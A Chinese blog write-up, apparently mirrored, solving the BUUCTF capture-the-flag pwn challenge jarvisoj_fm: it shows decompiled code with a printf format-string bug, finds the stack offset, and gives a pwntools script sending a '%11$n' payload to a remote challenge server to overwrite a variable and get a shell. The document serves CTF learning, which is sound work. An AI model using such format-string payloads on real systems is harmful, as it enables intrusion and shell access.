zoukankan      html  css  js  c++  java
  • buuctf pwn jarvisoj_fm

    IDA查看

    int __cdecl main(int argc, const char **argv, const char **envp)
    {
      char buf[80]; // [esp+2Ch] [ebp-5Ch] BYREF
      unsigned int v5; // [esp+7Ch] [ebp-Ch]
    
      v5 = __readgsdword(0x14u);
      be_nice_to_people();
      memset(buf, 0, sizeof(buf));
      read(0, buf, 0x50u);
      printf(buf);
      printf("%d!\n", x);
      if ( x == 4 )
      {
        puts("running sh...");
        system("/bin/sh");
      }
      return 0;
    }
    

    x的地址 0804A02C

    .data:0804A02C x dd 3 ; DATA XREF: main+65↑r
    查看得知是格式化漏洞
    第10行存在格式化字符串漏洞,我们可以利用它随意读写的特性让x=4
    x_addr=0x804A02C

    AAAAA.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x
    那么可以看到输入点的参数在栈上存储的位置,手动输入计算得到偏移为11

    利用x的地址配合上%11$n 将x修改为4

    payload=p32(x_addr)+"%11$n"

    稍微解释一下payload,首先传入x参数的地址,这个地址存放在栈上偏移为11的位置,利用%11$n,定位到了偏移为11的位置,往这个位置写入数据,写入的数据由%11$n前面的参数的长度决定,而我们的x参数的地址,正好是4位,不需要添a来补齐位数就可以直接利用,将x参数的地址的值改成了4,获取了shell

    from pwn import *
    
    r=remote('node4.buuoj.cn',25359)
    x_addr=0x804A02C
    
    payload=p32(x_addr).decode('unicode_escape')+"%11$n"
    
    r.sendline(payload)
    
    r.interactive()
    
  • 相关阅读:
    Linux: 安装和启用firefox浏览器的java
    Latex: beamer
    时频分析:窗口傅立叶变换
    Python: 面向对象
    Linux: 安装NVIDIA显卡驱动
    Matlab: 路径的操作
    python--文件读写
    python--函数
    python--数据类型
    网络基础——网络协议
  • 原文地址:https://www.cnblogs.com/socialbiao/p/15699697.html
Copyright © 2011-2022 走看看